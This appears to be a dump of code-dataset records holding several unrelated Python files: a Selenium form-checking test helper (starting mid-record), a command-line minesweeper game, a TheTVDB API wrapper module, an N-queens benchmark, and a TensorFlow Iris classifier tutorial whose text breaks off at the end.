expected,\n 'retrieved' : retrieved,\n }\n return errors\n\n\n def verify_form(self, data):\n errors = {}\n for field in data:\n spec = data[field]\n if isinstance(spec, FormAssertSpec):\n text = getattr(self.selenium, spec.value_function_name)('id_%s' % field)\n if not spec.is_equal(text):\n self.add_error(errors, field, spec.expected_value, text)\n\n elif isinstance(spec, list):\n for i in xrange(0, len(spec)):\n xpath = (self.elements['controls']['suggester_selected']+\"[%(number)s]\") % {\n 'field' : field,\n 'number' : i+1, # xpath indexes from 1 :]\n }\n text = self.selenium.get_text(xpath)\n if text != spec[i]:\n self.add_error(errors, field, spec, text)\n\n else:\n text = self.selenium.get_value('id_%s' % field)\n if text != spec:\n self.add_error(errors, field, spec, text)\n\n if len(errors) > 0:\n raise AssertionError(self.get_formatted_form_errors(errors))\n\n","sub_path":"tests/example_project/tests/test_newman/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":10439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"182172514","text":"# minesweeper\n# by Kevin Xie\n# CS550 Healey\n\n# A game of minesweeper programmed using 2D lists, recursion, and functions\n\n# Sources:\n# splitting a string https://stackoverflow.com/questions/961263/two-values-from-one-input-in-python\n# checking if list entry exists: https://stackoverflow.com/questions/843277/how-do-i-check-if-a-variable-exists\n# 0 reveal inspired by anan aramthanapon\n#\n# On My Honor, I have neither given nor received unauthorized aid.\n# Kevin Xie\n\nimport random # for placing bombs\nimport sys # used for initial arguments\n\ntry: # authenticate that all entered arguments are valid integers\n\tw,h,b = int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3])\nexcept:\n\tprint(\"Please enter integers for your parameters\")\n\tsys.exit()\nif b>=w*h: # checks if bombs can be generated within the given parameters\n\tprint(\"Please enter a valid bomb count.\")\n\tsys.exit()\n\ndef start(): # sets up starting variables and axes\n\tglobal blindfield, firstguess, field, spacesleft\n\tfirstguess = True # if firstguess is true, the bombs have not been placed yet\n\tblindfield = [[\"■\"]*w for x in range(h)] # fills grid with ■s and assigns coordinate axes\n\tfield = [[0]*w for x in range(h)] # fills solution set with 0s\n\tspacesleft = w*h-b # the number of unrevealed spaces (used to calculate victory)\n\tfor x in range(2): # next lines add variable x and y axes to the blind grid for more comfortable UX\n\t\tblindfield.insert(0,list(range(1,w+1))) \n\tblindfield[0]=[x//10 for x in blindfield[0]] # x axis is vertical to maintain correct monospacing (first digit above second digit)\n\tblindfield[1]=[x%10 for x in blindfield[1]]\n\tblindfield[0].insert(0,\" \")\n\tfor y in range(h+1):\n\t\tif y<10:\n\t\t\tblindfield[y+1].insert(0,\"0\"+str(y))\n\t\telse:\n\t\t\tblindfield[y+1].insert(0,y)\n\tprintField()\n\ndef printField(): # prints the blind grid with revealed spaces\n\tprint(\"\\n\")\n\tfor x in range(len(blindfield)): # prints in rows and columns rather than just a long list\n\t\tprint(*blindfield[x]) # unpacks the list and makes it look grid-like\n\tprint(\"\") # proper spacing\n\tguessCheck()\n\ndef fieldGenerate(initx,inity): # places the bombs once first space is revealed\n\tspaces = w*h\n\tfor t in range(b): # assigning the correct # bombs\n\t\tx,y = random.randrange(w),random.randrange(h)\n\t\tif spaces<=9: # prioritizes the selected space to be 0 unless there are fewer than 9 spaces left, which helps the reveal of more spaces on first step.\n\t\t\twhile field[y][x]==\"*\" or (y==inity-1 and x==initx-1):\n\t\t\t\tx,y = random.randrange(w),random.randrange(h)\n\t\telse:\n\t\t\twhile field[y][x]==\"*\" or ((y==inity-1 or y==inity or y==inity-2) and (x==initx-1 or x==initx or x==initx-2)): # bombs are placed outside a radius of two of the guess\n\t\t\t\tx,y = random.randrange(w),random.randrange(h)\n\t\tfield[y][x]=\"*\"\n\t\tspaces -= 1\n\t\tz,r = -1,-1\n\t\tif x==0: # so that the \"minesweeper number\" does not wrap around the grid to -1 -- abs() cannot solve this problem :(\n\t\t\tz=0\n\t\tif y==0: # so that the \"minesweeper number\" does not wrap around the grid to -1 -- abs() cannot solve this problem :(\n\t\t\tr=0\n\t\tfor u in range(z,2,1):\n\t\t\tfor v in range(r,2,1): \n\t\t\t\ttry: # since anything larger than the parameters results in an IndexError\n\t\t\t\t\tfield[y+v][x+u]+=1\n\t\t\t\texcept: # exceptions for if (x+a,y+b) is out of range or is a bomb.\n\t\t\t\t\tpass\n\ndef choiceOpen(x,y): # opens the space based on coordinates entered (if zero, then reveal more; if bomb, then lose)\n\tglobal spacesleft\n\tif field[y-1][x-1]==0:\n\t\tblindfield[y+1][x]=field[y-1][x-1]\n\t\tspacesleft-=1\n\t\treveal0(x,y)\n\telif field[y-1][x-1]==\"*\":\n\t\tblindfield[y+1][x]=\"▲\"\n\t\tloseGame()\n\telse:\n\t\tblindfield[y+1][x]=field[y-1][x-1]\n\t\tspacesleft-=1\n\twinCheck()\n\ndef reveal0(x,y): # the \"forest fire\" effect of revealing touching 0s recursively\n\tglobal spacesleft\n\tfor u in range(-1,2,1):\n\t\tfor v in range(-1,2,1): \n\t\t\ttry: # since anything larger than the parameters results in an IndexError\n\t\t\t\tif field[y-1+v][x-1+u]==0 and blindfield[y+1+v][x+u]==\"■\": # opens up all surrounding spaces if selected space ==0\n\t\t\t\t\tblindfield[y+1+v][x+u] = field[y-1+v][x-1+u]\n\t\t\t\t\tspacesleft-=1 \n\t\t\t\t\treveal0(x+u,y+v) # loops if contiguous space is 0\n\t\t\t\telse:\n\t\t\t\t\tif blindfield[y+1+v][x+u]==\"■\":\n\t\t\t\t\t\tblindfield[y+1+v][x+u] = field[y-1+v][x-1+u]\n\t\t\t\t\t\tspacesleft-=1\n\t\t\texcept: # exceptions for if (x+a,y+b) is out of range or is a bomb.\n\t\t\t\tpass\n\ndef guessCheck(): # asks for user to guess/flag and acts accordingly\n\tglobal firstguess\n\tguess = list(input(\"Enter coordinates followed by an \\\"f\\\" if you would like to flag/unflag it. \\nEG: \\\"2 5 f\\\"\\n>>> \").split()) # splitting a string https://stackoverflow.com/questions/961263/two-values-from-one-input-in-python\n\ttry: # authenticates that x and y are integers and do exist. checking if guess[x] exists: https://stackoverflow.com/questions/843277/how-do-i-check-if-a-variable-exists\n\t\tx,y=int(guess[0]),int(guess[1])\n\texcept ValueError:\n\t\tprint(\"Please use integers for x and y in the form \\\"x y\\\" separated by a space.\")\n\t\tguessCheck()\n\texcept IndexError:\n\t\tprint(\"Please enter x and y in the form \\\"x y\\\" separated by a space.\")\n\t\tguessCheck()\n\tif (0>=x or x>w) or (0>=y or y>h): # checks if coordinates are within height and width\n\t\tprint(\"Please enter valid coordinates in the form \\\"x y\\\".\")\n\t\tguessCheck()\n\ttry: # checks if user wants to flag\n\t\tguess[2]\n\t\tif guess[2] == \"f\":\n\t\t\tif blindfield[y+1][x]==\"►\":\n\t\t\t\tblindfield[y+1][x]=\"■\"\n\t\t\telif blindfield[y+1][x]==\"■\":\n\t\t\t\tblindfield[y+1][x]=\"►\"\n\t\t\telse:\n\t\t\t\tprint(\"You cannot flag a revealed space. Try somewhere else.\")\n\t\t\t\tguessCheck()\n\t\telse:\n\t\t\tprint(\"Please enter an \\\"f\\\" or leave the final argument blank.\")\n\t\t\tguessCheck()\n\texcept IndexError: # if flag is null, then don't flag and continue to look for options\n\t\tif blindfield[y+1][x]==\"►\":\n\t\t\tprint(\"You cannot reveal a flagged space. Try somewhere else.\") \n\t\t\tguessCheck()\n\t\telif firstguess == True: # drops bombs and reveals space on first guess\n\t\t\tfieldGenerate(x,y)\n\t\t\tfirstguess = False\n\t\t\tchoiceOpen(x, y)\n\t\telse:\n\t\t\tchoiceOpen(x,y)\n\tprintField()\n\ndef winCheck(): # if the spaces that remain is equal to the number of bombs placed, then player wins\n\tif spacesleft == 0:\n\t\tfor y in range(h):\n\t\t\tfor x in range(w):\n\t\t\t\tif blindfield[y+2][x+1]==\"■\" or blindfield[y+2][x+1]==\"►\":\n\t\t\t\t\tblindfield[y+2][x+1]=\"☻\"\n\t\tfor x in range(len(blindfield)): # prints in rows and columns rather than just a long list\n\t\t\tprint(*blindfield[x]) # unpacks the list and makes it look grid-like\n\t\tprint(\"\\nYOU WIN ☺!\\n\\n\") # proper spacing\n\t\trestart()\n\ndef loseGame(): # loss of game (reveal formatted solution set)\n\tfor y in range(h):\n\t\t\tfor x in range(w):\n\t\t\t\tif blindfield[y+2][x+1]==\"■\":\n\t\t\t\t\tblindfield[y+2][x+1]=field[y][x]\n\t\t\t\telif blindfield[y+2][x+1]==\"►\" and field[y][x]!=\"*\":\n\t\t\t\t\tblindfield[y+2][x+1]=\"≠\"\n\t\t\t\telif blindfield[y+2][x+1]==\"►\":\n\t\t\t\t\tblindfield[y+2][x+1]=\"☻\"\n\tfor x in range(len(blindfield)): # prints in rows and columns rather than just a long list\n\t\t\tprint(*blindfield[x]) # unpacks the list and makes it look grid-like\n\tprint(\"\\nYOU LOSE... \\n\\n\") # proper spacing\n\trestart()\n\ndef restart(): # function for restarting or exiting the program\n\treYes = input(\"Would you like to play again? (y/n) \\n\\n>>> \").lower()\n\tif reYes == \"y\": # everything reset\n\t\tstart()\n\telif reYes == \"n\": # os.exit from program\n\t\tsys.exit()\n\telse:\n\t\tprint(\"Please enter either \\\"y\\\" or \\\"n\\\".\")\n\t\trestart()\n\nstart()","sub_path":"minesweepertest.py","file_name":"minesweepertest.py","file_ext":"py","file_size_in_byte":7363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"497014615","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nThis module implements the Series functionality of TheTVDb API.\nAllows to retrieve series info, actors, basic episodes info and images.\n\nSee [Series API section](https://api.thetvdb.com/swagger#/Series)\n\"\"\"\n\nfrom .base import TVDB\n\nclass Series(TVDB):\n \"\"\"\n Series class to retrieve all the info about a series.\n Requires the series id.\n \"\"\"\n _BASE_PATH = 'series'\n _URLS = {\n 'info': '/{id}',\n 'actors': '/{id}/actors'\n }\t\n\n def __init__(self, id, language=''):\n \"\"\"\n Initialize the series class.\n `id` is the TheTVDb series id. You can also provide `language`, \n the language id you want to use to retrieve the info.\n \"\"\"\n self._set_language(language)\n self.Images = Series_Images(id, language)\n \"\"\"\n Allows to retrieve images info.\n \"\"\"\n self.Episodes = Series_Episodes(id, language)\n \"\"\"\n Allows to retrieve episodes info.\n \"\"\"\n super(Series, self).__init__(id)\n\n def info(self, language=''):\n \"\"\"\n Get the basic show information for a specific show id and sets \n them to the attributes.\n\n You also provide `language`, the language id you want to use \n to retrieve the info.\n\n Returns a dict with the series info\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> show = tvdb.Series(78804)\n >>> response = show.info()\n >>> show.seriesName\n 'Doctor Who (2005)'\n\n \"\"\"\n path = self._get_id_path('info')\n \n self._set_language(language)\n response = self._GET(path)\n self._set_attrs_to_values(response)\n return response\n\n def actors(self, language=''):\n \"\"\"\n Get the actors for the show id and sets them to \n `actors` the attributes.\n\n You also provide `language`, the language id you want to use \n to retrieve the info.\n\n Returns a list of actors with their info.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> show = tvdb.Series(78804)\n >>> response = show.actors()\n >>> show.actors[0]['name']\n u'David Tennant'\n\n \"\"\"\n path = self._get_id_path('actors')\n \n self._set_language(language)\n response = self._GET(path)\n self._set_attrs_to_values({'actors': response})\n return response\n\nclass Series_Episodes(TVDB):\n \"\"\"\n Class needed to organize series episodes. Allow to retrieve basic \n info episodes for the series.\n Requires the series id.\n \"\"\"\n _BASE_PATH = 'series'\n _URLS = {\n 'summary': '/{id}/episodes/summary',\n 'episodes': '/{id}/episodes',\n 'query': '/{id}/episodes/query',\n 'queryparams': '/{id}/episodes/query/params'\n }\n _PAGES = -1\n _PAGES_LIST = {}\n _FILTERS = {}\n\n def __init__(self, id, language='', **kwargs):\n \"\"\"\n Initialize the class.\n\n `id` is the TheTVDb series id.\n You can provide `language`, the language id you want to use to \n retrieve the info.\n You can provide `absoluteNumber` to get only episodes with the \n provided absolute number.\n You can provide `airedSeason` to get only episodes with the \n provided aired season number.\n You can provide `airedEpisode` to get only episodes with the \n provided aired episode number.\n You can provide `dvdSeason` to get only episodes with the \n provided dvd season number.\n You can provide `dvdEpisode` to get only episodes with the \n provided dvd episode number.\n You can provide `imdbId` to get only episodes with the \n provided imdb id.\n \"\"\"\n super(Series_Episodes, self).__init__(id)\n self._set_language(language)\n self.update_filters(**kwargs)\n\n def update_filters(self, **kwargs):\n \"\"\"\n Set the filters for the episodes of the specific show id.\n\n You can provide `absoluteNumber` to get only episodes with the \n provided absolute number.\n You can provide `airedSeason` to get only episodes with the \n provided aired season number.\n You can provide `airedEpisode` to get only episodes with the \n provided aired episode number.\n You can provide `dvdSeason` to get only episodes with the \n provided dvd season number.\n You can provide `dvdEpisode` to get only episodes with the \n provided dvd episode number.\n You can provide `imdbId` to get only episodes with the \n provided imdb id.\n \"\"\"\n self._FILTERS=kwargs\n\n def summary(self):\n \"\"\"\n Get the episodes summary for a specific show id and sets \n them to their attributes.\n\n Returns a dict with a summary of the episodes.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showeps = tvdb.Series_Episodes(78804)\n >>> response = showeps.summary()\n >>> showeps.airedEpisodes\n '267'\n\n \"\"\"\n path = self._get_id_path('summary')\n \n response = self._GET(path)\n self._set_attrs_to_values(response)\n return response\n\n def query_params(self):\n \"\"\"\n Get the query parameters allowed for a specific show id.\n\n Returns a dict with all the filters allowed.\n \"\"\"\n path = self._get_id_path('query_params')\n \n response = self._GET(path)\n self._set_attrs_to_values({'query_params': response})\n return response\n\n def pages(self):\n \"\"\"\n Get the number of episode pages for filtered episodes of a specific show id.\n\n Returns the integer number of pages for filtered episodes of the show.\n \"\"\"\n if self._PAGES < 0:\n self.page(1)\n return self._PAGES\n\n def all(self):\n \"\"\"\n Get the full episode list with basic details for a specific show id.\n \n Returns a list of episodes with basic info.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showeps = tvdb.Series_Episodes(78804)\n >>> response = showeps.all()\n >>> showeps.episodes[0]['episodeName']\n 'Rose'\n\n \"\"\"\n episodes = []\n for i in range (1, self.pages()+1):\n episodes.extend(self.page(i))\n \n self._set_attrs_to_values({'episodes': episodes})\n return episodes\n\n def page(self, page):\n \"\"\"\n Get the episode list for a specific page of a show id.\n `page` is the page number of the episodes list to retrieve\n\n Returns a list episodes with basic info.\n \"\"\"\n if page in self._PAGES_LIST:\n return self._PAGES_LIST[page]\n if self._FILTERS:\n path = self._get_id_path('query')\n else:\n path = self._get_id_path('episodes')\n \n filters = self._FILTERS.copy()\n filters['page'] = page\n response = self._GET(path, params=filters, cleanJson=False)\n if 'links' in response and 'last' in response['links']:\n self._PAGES = response['links']['last']\n\n self._PAGES_LIST[page] = response['data']\n return response['data']\n\n def __iter__(self):\n for i in range (1, self.pages()+1):\n yield self.page(i)\n\nclass Series_Images(TVDB):\n \"\"\"\n Class needed to organize series images. Allow to retrieve all \n the types of images of a series.\n Requires the series id.\n\n language: (optional) language to request.\n resolution: (optional) image resolution.\n subKey: (optional) subkey research.\n \"\"\"\n _BASE_PATH = 'series'\n _URLS = {\n 'imagequery': '/{id}/images/query',\n 'summary': '/{id}/images',\n 'queryparams': '/{id}/images/query/params'\n }\n _FILTERS = {}\n\n def __init__(self, id, language='', **kwargs):\n \"\"\"\n Initialize the class.\n\n `id` is the TheTVDb series id.\n You can provide `language`, the language id you want to use to \n retrieve the info.\n You can provide `reqolution` to get only episodes with the \n provided resolution.\n You can provide `subKey` to get only episodes with the \n provided subKey.\n \"\"\"\n super(Series_Images, self).__init__(id)\n self._set_language(language)\n self.update_filters(**kwargs)\n\n def update_filters(self, **kwargs):\n \"\"\"\n Set the filters for the episodes of the specific show id.\n\n You can provide `language`, the language id you want to use to \n retrieve the info.\n You can provide `reqolution` to get only episodes with the \n provided resolution.\n You can provide `subKey` to get only episodes with the \n provided subKey.\n \"\"\"\n self._FILTERS=kwargs\n\n def summary(self):\n \"\"\"\n Get the images summary for a specific show id and sets \n them to `summary` attributes.\n\n Returns a dict with a summary of the images.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804)\n >>> response = showimgs.summary()\n >>> showimgs.summary['poster']\n 53\n\n \"\"\"\n path = self._get_id_path('summary')\n \n response = self._GET(path)\n self._set_attrs_to_values(response)\n return response\n\n def query_params(self):\n \"\"\"\n Get the query parameters allowed for a specific show id.\n\n Returns:\n A dict respresentation of the JSON returned from the API.\n \"\"\"\n path = self._get_id_path('query_params')\n \n response = self._GET(path)\n self._set_attrs_to_values({'query_params': response})\n return response\n\n\n def poster(self, language=''):\n \"\"\"\n Get the posters for a specific show.\n \n You can provide `language`, the language id you want to use to \n retrieve the info.\n\n Returns a list of posters.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804)\n >>> response = showimgs.poster()\n >>> showimgs.poster[0]['resolution']\n '680x1000'\n\n \"\"\"\n return self._get_image_type('poster', language)\n\n def fanart(self, language=''):\n \"\"\"\n Get the fanarts for a specific show.\n \n You can provide `language`, the language id you want to use to \n retrieve the info.\n\n Returns a list of fanarts.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804)\n >>> response = showimgs.fanart()\n >>> showimgs.fanart[0]['resolution']\n '1280x720'\n\n \"\"\"\n return self._get_image_type('fanart', language)\n\n def series(self, language=''):\n \"\"\"\n Get the series images for a specific show.\n \n You can provide `language`, the language id you want to use to \n retrieve the info.\n\n Returns a list of series images.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804)\n >>> response = showimgs.series()\n >>> showimgs.series[0]['thumbnail']\n '_cache/text/34391.jpg'\n\n \"\"\"\n return self._get_image_type('series', language)\n\n def season(self, language=''):\n \"\"\"\n Get the season images for a specific show.\n \n You can provide `language`, the language id you want to use to \n retrieve the info.\n\n Returns a list of season images.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804)\n >>> response = showimgs.season()\n >>> showimgs.season[0]['thumbnail']\n '_cache/seasons/34391-1.jpg'\n\n \"\"\"\n return self._get_image_type('season', language)\n\n def seasonwide(self, language=''):\n \"\"\"\n Get the seasonwide images for a specific show.\n \n You can provide `language`, the language id you want to use to \n retrieve the info.\n\n Returns a list of seasonwide images.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804)\n >>> response = showimgs.seasonwide()\n >>> showimgs.seasonwide[0]['thumbnail']\n '_cache/seasonswide/78804-1.jpg'\n\n \"\"\"\n return self._get_image_type('seasonwide', language)\n\n def all(self, language=''):\n \"\"\"\n Get all the images for a specific show and sets it to `images` attribute.\n It needs to have at least one filter set.\n \n You can provide `language`, the language id you want to use to \n retrieve the info.\n\n Returns a list of images.\n\n For example\n\n #!python\n >>> import tvdbsimple as tvdb\n >>> tvdb.KEYS.API_KEY = 'YOUR_API_KEY'\n >>> showimgs = tvdb.Series_Images(78804, resolution='1280x720')\n >>> response = showimgs.all()\n >>> showimgs.images[0]['resolution']\n '1280x720'\n\n \"\"\"\n return self._get_image_type('images', language)\n\n def _get_image_type(self, type, language=''):\n path = self._get_id_path('imagequery')\n \n self._set_language(language)\n filters = self._FILTERS.copy()\n if type != 'images':\n filters['keyType'] = type\n\n response = self._GET(path, params=filters)\n self._set_attrs_to_values({type: response})\n return response\n","sub_path":"resources/tvdbsimple/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":14550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"351984837","text":"# From: https://mail.python.org/pipermail/pypy-dev/2014-August/012695.html\n\nimport sys\nif sys.version_info[0] > 2:\n xrange = range\n\n\n\nL = 10\n\nxrows = range(L)\nxcols = range(L)\n\nbitmap = [0] * L ** 2\n\nposs = [(i, j) for i in xrows for j in xcols]\n\nidx_to_pos = dict()\npos_to_idx = dict()\n\nfor i, pos in enumerate(poss):\n idx_to_pos[i] = pos\n pos_to_idx[pos] = i\n\n# rows, columns, \"right\" diagonals and \"left\" diagonals\nposcols = [[(i, j) for i in xrows] for j in xcols]\nposrows = [[(i, j) for j in xcols] for i in xrows]\nposdiag = [[(h, g - h) for h in range(g + 1) if h < L and g - h < L] for g in range(L * 2 - 1)]\nposgaid = [[(g + h, h) for h in range(L) if -1 < g + h < L] for g in range(-L + 1, L)]\n\n\ndef attacks(pos):\n \"\"\" all attacked positions \"\"\"\n row = list(filter(lambda r: pos in r, posrows))\n col = list(filter(lambda c: pos in c, poscols))\n dia = list(filter(lambda d: pos in d, posdiag))\n gai = list(filter(lambda g: pos in g, posgaid))\n assert len(row) == len(col) == len(dia) == len(gai) == 1\n return frozenset(row[0]), frozenset(col[0]), frozenset(dia[0]), frozenset(gai[0])\n\nattackmap = {(i, j): attacks((i, j)) for i in range(L) for j in range(L)}\n\nsetcols = set(map(frozenset, poscols))\nsetrows = set(map(frozenset, posrows))\nsetdiag = set(map(frozenset, posdiag))\nsetgaid = set(map(frozenset, posgaid))\n\n# choice between bitmaps and sets\n#\n# bitmaps are reresented natively as (long) ints in Python,\n# thus bitmap operations are very very fast\n#\n# however for asymptotic complexity, x in bitmap operation is O(N) and x in set is O(logN)\n#\n# in my experience python function calls are expensive, thus the threshold where sets show benefit is rather high\n# another possible explanation for high threshold is large memory size of Python dictionaries and thus frozensets,\n# __sizeof__ for representaions of range(100):: set: 8K, frozenset: 4K, (2 ** 100): 40 bytes\n#\n# for 8x8 board, a 64-bit bitmap wins by a large margin\n# IMO 10x10 board is still faster with bitmaps\n\n\n# all queens are equivalent, thus solution (Q1, Q2, Q3) == (Q1, Q3, Q2)\n# let's order queens, so that Q1 always preceeds on Q2 on the board\n# then, let's do an exhaustive search with early pruning:\n# consider board of 4 [ , , , ] for 3 queens\n# position [ , ,Q1, ] will never generate a solution, because there's no space for both Q2 and Q3 left\n# likewise, let's extend concept of \"space\" along 4 dimensions -- rows, cols, diag, gaid\n\nsolutions = []\n\n\ndef place(board, queens, r, c, d, g):\n \"\"\"\n remaining unattacked places on the board\n remaining queens to place\n remaining rows, cols, diag, gaid free\n \"\"\"\n # if we are ran out of queens, it's a valid solution\n if not queens:\n # print \"solution found\"\n solutions.append(None)\n\n # early pruning, make sure this many queens can actually be placed\n if len(queens) > len(board): return\n if len(queens) > len(r): return\n if len(queens) > len(c): return\n if len(queens) > len(d): return\n if len(queens) > len(g): return\n\n # queens[0] is queen to be places on some pos\n for ip, pos in enumerate(board):\n ar, ac, ad, ag = attackmap[pos]\n attacked = frozenset.union(ar, ac, ad, ag)\n nboard = [b for b in board[ip + 1:] if b not in attacked]\n place(nboard, queens[1:], r - ar, c - ac, d - ad, g - ag)\n\n\ndef run():\n del solutions[:]\n place(poss, sorted([\"Q%s\" % i for i in range(L)]), setrows, setcols, setdiag, setgaid)\n return len(solutions)\n\ndef main(n):\n import time\n l = []\n for k in range(n):\n t0 = time.time()\n run()\n l.append(time.time() - t0)\n return l\n\nif __name__ == '__main__':\n import util, optparse\n parser = optparse.OptionParser(\n usage=\"%prog [options]\",\n description=\"Test the performance of the Go benchmark\")\n util.add_standard_options_to(parser)\n options, args = parser.parse_args()\n\n util.run_benchmark(options, options.num_runs, main)\n\n\n","sub_path":"own/nqueens.py","file_name":"nqueens.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"421593509","text":"\r\n\r\n\r\nimport os\r\nimport matplotlib.pyplot as plt\r\n\r\nimport tensorflow as tf\r\nimport tensorflow.contrib.eager as tfe\r\n\r\ntf.enable_eager_execution()\r\n\r\nprint(\"TensorFlow version: {}\".format(tf.VERSION))\r\nprint(\"Eager execution: {}\".format(tf.executing_eagerly()))\r\n\r\n#1 Read the data set file\r\n# Made directory for IrisDataset file\r\ncurrent_directory=os.getcwd()\r\nIris_dataset_directory=os.path.join(current_directory, \"IrisDataset\")\r\nif not os.path.exists(Iris_dataset_directory):\r\n os.makedirs(Iris_dataset_directory)\r\n# Download Iris dataset\r\ntrain_dataset_url = \"http://download.tensorflow.org/data/iris_training.csv\"\r\n(head, DatasetFileName)=os.path.split(train_dataset_url)\r\n# Copy data set file to the built directory\r\ntrain_dataset_fp = tf.keras.utils.get_file(fname=os.path.join(Iris_dataset_directory,DatasetFileName),\r\n origin=train_dataset_url)\r\nprint(\"Local copy of the dataset file: {}\".format(train_dataset_fp))\r\n\r\n# 2 Inspect the data\r\n# column order in CSV file\r\ncolumn_names = ['sepal_length', 'sepal_width', 'petal_length', 'petal_width', 'species']\r\n\r\nfeature_names = column_names[:-1]\r\nlabel_name = column_names[-1]\r\n\r\nprint(\"Features: {}\".format(feature_names))\r\nprint(\"Label: {}\".format(label_name))\r\n\r\nclass_names = ['Iris setosa', 'Iris versicolor', 'Iris virginica']\r\n\r\n# 3\r\n# Create training data\r\nbatch_size = 32\r\n\r\ntrain_dataset = tf.contrib.data.make_csv_dataset(\r\n train_dataset_fp,\r\n batch_size,\r\n column_names=column_names,\r\n label_name=label_name,\r\n num_epochs=1)\r\n\r\nfeatures, labels = next(iter(train_dataset))\r\n\r\nplt.scatter(features['petal_length'],\r\n features['sepal_length'],\r\n c=labels,\r\n cmap='viridis')\r\n\r\nplt.xlabel(\"Petal length\")\r\nplt.ylabel(\"Sepal length\")\r\n\r\ndef pack_features_vector(features, labels):\r\n \"\"\"Pack the features into a single array.\"\"\"\r\n features = tf.stack(list(features.values()), axis=1)\r\n return features, labels\r\n\r\ntrain_dataset = train_dataset.map(pack_features_vector)\r\n\r\nfeatures, labels = next(iter(train_dataset))\r\n\r\nprint(\"Print features:\")\r\nprint(features[:])\r\n\r\n# 4\r\n# Create a model\r\n\r\nmodel = tf.keras.Sequential([\r\n tf.keras.layers.Dense(10, activation=tf.nn.relu, input_shape=(4,)), # input shape required\r\n tf.keras.layers.Dense(10, activation=tf.nn.relu),\r\n tf.keras.layers.Dense(3)\r\n])\r\n\r\npredictions = model(features)\r\nprint(\"Print predictions:\")\r\nprint(predictions[:5])\r\n# Softmax\r\nprint(\"Print SoftMax:\")\r\nprint(tf.nn.softmax(predictions[:5]))\r\n\r\nprint(\"Prediction: {}\".format(tf.argmax(predictions, axis=1)))\r\nprint(\" Labels: {}\".format(labels))\r\n\r\n# 5\r\n# Define the loss and gradient function\r\n\r\ndef loss(model, x, y):\r\n y_ = model(x)\r\n return tf.losses.sparse_softmax_cross_entropy(labels=y, logits=y_)\r\n\r\nl = loss(model, features, labels)\r\nprint(\"Loss test: {}\".format(l))\r\n\r\ndef grad(model, inputs, targets):\r\n with tf.GradientTape() as tape:\r\n loss_value = loss(model, inputs, targets)\r\n return loss_value, tape.gradient(loss_value, model.trainable_variables)\r\n\r\n# 6\r\n# Create an optimizer\r\n\r\noptimizer = tf.train.GradientDescentOptimizer(learning_rate=0.01)\r\n\r\nglobal_step = tf.train.get_or_create_global_step()\r\n\r\nloss_value, grads = grad(model, features, labels)\r\n\r\nprint(\"Step: {}, Initial Loss: {}\".format(global_step.numpy(),\r\n loss_value.numpy()))\r\n\r\noptimizer.apply_gradients(zip(grads, model.variables), global_step)\r\n\r\nprint(\"Step: {}, Loss: {}\".format(global_step.numpy(),loss(model, features, labels).numpy()))\r\n\r\n# 7\r\n# train the model with epochs\r\n## Note: Rerunning this cell uses the same model variables\r\n\r\n# keep results for plotting\r\ntrain_loss_results = []\r\ntrain_accuracy_results = []\r\n\r\nnum_epochs = 301\r\n\r\nfor epoch in range(num_epochs):\r\n epoch_loss_avg = tfe.metrics.Mean()\r\n epoch_accuracy = tfe.metrics.Accuracy()\r\n\r\n # Training loop - using batches of 32\r\n for x, y in train_dataset:\r\n # Optimize the model\r\n loss_value, grads = grad(model, x, y)\r\n optimizer.apply_gradients(zip(grads, model.variables),\r\n global_step)\r\n\r\n # Track progress\r\n epoch_loss_avg(loss_value) # add current batch loss\r\n # compare predicted label to actual label\r\n epoch_accuracy(tf.argmax(model(x), axis=1, output_type=tf.int32), y)\r\n\r\n # end epoch\r\n train_loss_results.append(epoch_loss_avg.result())\r\n train_accuracy_results.append(epoch_accuracy.result())\r\n\r\n if epoch % 50 == 0:\r\n print(\"Epoch {:03d}: Loss: {:.3f}, Accuracy: {:.3%}\".format(epoch,\r\n epoch_loss_avg.result(),\r\n epoch_accuracy.result()))\r\n# 8\r\n# Visualize the loss function over time\r\n\r\nfig, axes = plt.subplots(2, sharex=True, figsize=(12, 8))\r\nfig.suptitle('Training Metrics')\r\n\r\naxes[0].set_ylabel(\"Loss\", fontsize=14)\r\naxes[0].plot(train_loss_results)\r\naxes[0].grid()\r\n\r\naxes[1].set_ylabel(\"Accuracy\", fontsize=14)\r\naxes[1].set_xlabel(\"Epoch\", fontsize=14)\r\naxes[1].plot(train_accuracy_results)\r\naxes[1].grid()\r\nplt.show()\r\n\r\n# 